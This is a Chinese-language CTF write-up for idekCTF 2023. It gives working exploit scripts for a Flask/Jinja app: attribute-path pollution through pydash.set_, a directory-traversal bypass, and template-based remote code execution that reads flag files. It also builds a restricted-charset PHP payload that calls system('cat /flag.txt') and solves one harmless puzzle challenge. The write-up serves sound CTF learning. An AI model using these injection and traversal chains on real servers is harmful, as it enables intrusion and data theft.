idekctf 2023 wp
因为放假了时间多了起来,难得专注的跟 r3kapig 的师傅们一起打了个比赛,最后拿到了第二,不少题目都很有意思,复盘记录一下。
web
task manager
题目有点原型链污染的味道,也可以说是借鉴了pyjail的一些思路,很有意思的一道题目。
作者提供了对于 pydash.set_
的封装,可以通过变量路径设置值,类似一个高级版的 setattr
。比如:
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}
寻找访问 app 的方法
在 taskmanager.py
里面调用 pydash.set_()
可以通过实例化的 TaskManager
对象利用特殊属性实现对 app
对象的修改:
pydash.set_(
TaskManager(),
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
'xxx'
)
将 eval 加入模板全局变量
然后再回来看 app.py
,可以发现一段很奇怪的代码:
既然 app
已经可控了,如果能够实现 before_first_request
的重复调用那么就可以在模板中实现任意代码执行了,经过一些寻找发现可以通过将 app._got_first_request
设置为 False
实现。
设法调用 eval
接下来就是寻找方法对已经放入模板全局变量的 eval
函数进行调用,而 add_template_global
函数是通过 __name__
来确定变量名字的,但是 builtin 函数的 __name__
是只读的,所以没有办法用来改个名字放进去,只有找现有文件中存在 eval 的来当作模板。在题目中只有 app.py
出现了 eval ,可以尝试利用。
这里使用的方法是对 app.jinja_env
的 variable_start_string
和 variable_end_string
进行替换,原本 jinja 是通过识别 {{.*}}
来识别模板中的变量的,但是我们可以通过修改这两个值来更改 jinja 识别变量的方式,从而拼接出一个rce。
绕过 jinja 的目录穿越检查实现任意文件渲染
下面一个问题是现在只能够对 templates
下面的文件进行渲染,但是这里面的 html 很明显是用不了的,所以要想办法让他可以渲染任意文件,在 jinja 源码(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38) 可以看到是通过 os.path.pardir
来对目录穿越进行了保护,但是我们可以通过修改 pardir
的值来绕过。
最后在对 app.py
进行利用的时候发现虽然出现了 eval
,但是并没有 eval(.*)
的形式出现,尝试通过修改 app.jinja_env
的 comment_start_string
和 comment_end_string
来让 jinja 把文件的一部分当作注释删掉来凑成一个 eval(.*)
的形式,但是 jinja 解析时会报错,后来发现 {{ eval{# #}(.*) }}
这种中间有注释的模板变量本来就不能正常解析,但是现在既然可以渲染任意文件了,所以可以尝试在 python 库里面寻找出现 eval(.*)
的文件,最后找到了 turtle.py
。
exp
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'
# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})
# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
非预期
由于作者把 flag 写在 Dockerfile 里面了,并且在构建容器的时候是通过 RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt
写的 flag 通过COPY . .
添加的题目代码,这就意味着 Dockerfile 本身也被复制进了容器,所以在实现 LFI 之后就可以直接读取 Dockerfile 就可以拿到 flag 了
import requests
import re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
exp_url = f'{base_url}/../Dockerfile'
# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
通过 jinja2.runtime.exported
实现 rce
https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager
通过 jinja 源码(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208) 可以发现模板的生成其实是调用了 environment.from_string
,而在 from_string
函数中又调用了(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105) environment.compile
,并且对 compile
会返回一个 code
对象,后续会被 exec(https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222),如果我们能够控制这里 exec 的内容那么就可以实现 rce。
经过简单的调试可以 在这里(https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839) 发现在生成代码的时候有一个可控变量 exported_names
,他是 runtime(https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45) 里面的一个数组,所以我们完全可以通过 pydash.set_()
来进行覆盖,从而达到 rce。
import requests, re
base_url = 'http://127.0.0.1:1337'
url = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'
payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''
# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})
# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})
# trigger rce
requests.get(f'{base_url}/home.html')
# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)
misc
PHPFu…n:
题目限制了只能有以下几个字符
([.^])',
基本思路就是用现有的字符造更多的字符,但是因为只要一报错就会 die()
,所以不能用包括 [].''
在内的很多方式,只能从现有的开始:
In [206]: mapping = {}
...: for a, b in combinations('[(,.^)]', 2):
...: x = chr(ord(a) ^ ord(b))
...: if x in mapping:
...: continue
...: mapping[x] = (a, b)
...:
In [207]: mapping
Out[207]:
{'s': ('[', '('),
'w': ('[', ','),
'u': ('[', '.'),
'\x05': ('[', '^'),
'r': ('[', ')'),
'\x06': ('[', ']'),
'\x04': ('(', ','),
'v': ('(', '^'),
'\x01': ('(', ')'),
'\x02': (',', '.'),
'q': (',', ']'),
'p': ('.', '^'),
'\x07': ('.', ')'),
'\x03': ('^', ']'),
't': (')', ']')}
所以现在就有了 ([.^])',swurvqpt
然后看到有 str
就想看看有什么能用的字符串相关的函数 link:
In [209]: str_funcs = ['addcslashes','addslashes','bin2hex','chop','chr','chunk_split','convert_uudecode','convert_ne
...: code','count_chars','crc32','crypt','echo','explode','fprintf','get_html_translation_table','hebrev','heni
...: ','html_entity_decode','htmlentities','htmlspecialchars_decode','htmlspecialchars','implode','join','lcfi't
...: ,'levenshtein','localeconv','ltrim','md5_file','md5','metaphone','money_format','nl_langinfo','nl2br','nure
...: _format','ord','parse_str','print','printf','quoted_printable_decode','quoted_printable_encode','quote',
...: rtrim','setlocale','sha1_file','sha1','similar_text','soundex','sprintf','sscanf','str_contains','str_eniw
...: th','str_getcsv','str_ireplace','str_pad','str_repeat','str_replace','str_rot13','str_shuffle','str_s'
...: tr_starts_with','str_word_count','strcasecmp','strchr','strcmp','strcoll','strcspn','strip_tags','striphs
...: es','stripos','stripslashes','stristr','strlen','strnatcasecmp','strnatcmp','strncasecmp','strncmp','strpbrk'
...: ,'strpos','strrchr','strrev','strripos','strrpos','strspn','strstr','strtok','strtolower','strtoupper','strtr
...: ','substr_compare','substr_count','substr_replace','substr','trim','ucfirst','ucwords','utf8_decode','utne
...: code','vfprintf','vprintf','vsprintf','wordwrap']
In [210]: for func in str_funcs:
...: if all(c in mapping for c in func):
...: print(func)
...:
strstr
strtr
然后通过 strstr
就可以拿到 false = strstr('.',',')
,但是还不够,于是就跑去把所有的函数都拿来了 link:
In [211]: phpfuncs = []
...: with open("/phpfuncs.txt",'r', encoding='utf8') as f:
...: phpfuncs = f.read().split(',')
...:
In [212]: for func in phpfuncs:
...: if all(c in mapping for c in func):
...: print(func)
...:
sqrt
strstr
strtr
然后通过 sqrt(strstr('.',','))
拿到了 0
,但是拿到数字之后现在并没有什么用,于是想办法放到之前已经有的字符里面看看还能生成什么字符:
In [215]: mapping = {}
...: for a, b in combinations('[(,.^)]0', 2):
...: x = chr(ord(a) ^ ord(b))
...: if x in mapping:
...: continue
...: mapping[x] = (a, b)
...: mapping
Out[215]:
{'s': ('[', '('),
'w': ('[', ','),
'u': ('[', '.'),
'\x05': ('[', '^'),
'r': ('[', ')'),
'\x06': ('[', ']'),
'k': ('[', '0'),
'\x04': ('(', ','),
'v': ('(', '^'),
'\x01': ('(', ')'),
'\x18': ('(', '0'),
'\x02': (',', '.'),
'q': (',', ']'),
'\x1c': (',', '0'),
'p': ('.', '^'),
'\x07': ('.', ')'),
'\x1e': ('.', '0'),
'\x03': ('^', ']'),
'n': ('^', '0'),
't': (')', ']'),
'\x19': (')', '0'),
'm': (']', '0')}
In [216]: for func in phpfuncs:
...: if all(c in mapping for c in func):
...: print(func)
...:
sqrt
strspn
strstr
strtr
多了一个 strspn
那么现在就有任意数字了,接下来就想办法构造 chr
函数:
'c': ('[', '8')
'h': ('[', '3')
'r': ('[', ')')
chr
出了就可以开始写 exp 了:
from pwn import *
s = "('['^'(')"
str = f"{s}.(')'^']').('['^')')"
strstr = f"{str}.{str}"
sqrt = f"{s}.(','^']').('['^')').(')'^']')"
zero = f"({sqrt})(({strstr})('.',',')).''"
strspn = f"{str}.{s}.('.'^'^').('^'^{zero})"
num = lambda x:f"({strspn})('{'.' * x}','.')"
phpchr = lambda x:f"(('['^{num(8)}.'').('['^{num(3)}.'').('['^')'))({num(ord(x))})"
phpstr = lambda str:'.'.join([phpchr(c) for c in str])
payload = f"({phpstr('system')})({phpstr('cat /flag.txt')})"
print(payload)
r = remote('phpfun.chal.idek.team', 1337)
r.recvuntil(b'Input script: ')
r.sendline(payload.encode())
r.interactive()
Niki:
这道题是一个类似 Scratch 的东西,用附件里面的程序打开 german_scrambled.pas
就可以加载题目程序了:
尝试运行之后发现这个程序有很多都是向下走的指令,但是默认那个机器人在左下角,再往下就会报错,而且初始的 Material(就相当于颜料数量)为0,画不了图案,所以点击左上角的格子按钮调整一下:
然后就会发现机器人会画很多东西出来,比较乱,而且后面还是会到边界报错,于是尝试一个函数一个函数跑:
可以看到 h;
打出了一个大写的 P,然后挨个把文件里面的函数都运行一遍就有了下面的:
h -> P
o -> S
brackl -> (
a -> O
v -> E
u -> I
brackr -> )
q -> D
p -> K
l -> T
PS(OEI)DKT
idek前缀都在,似乎就是 flag 了,简单处理一下得到 idek{stop}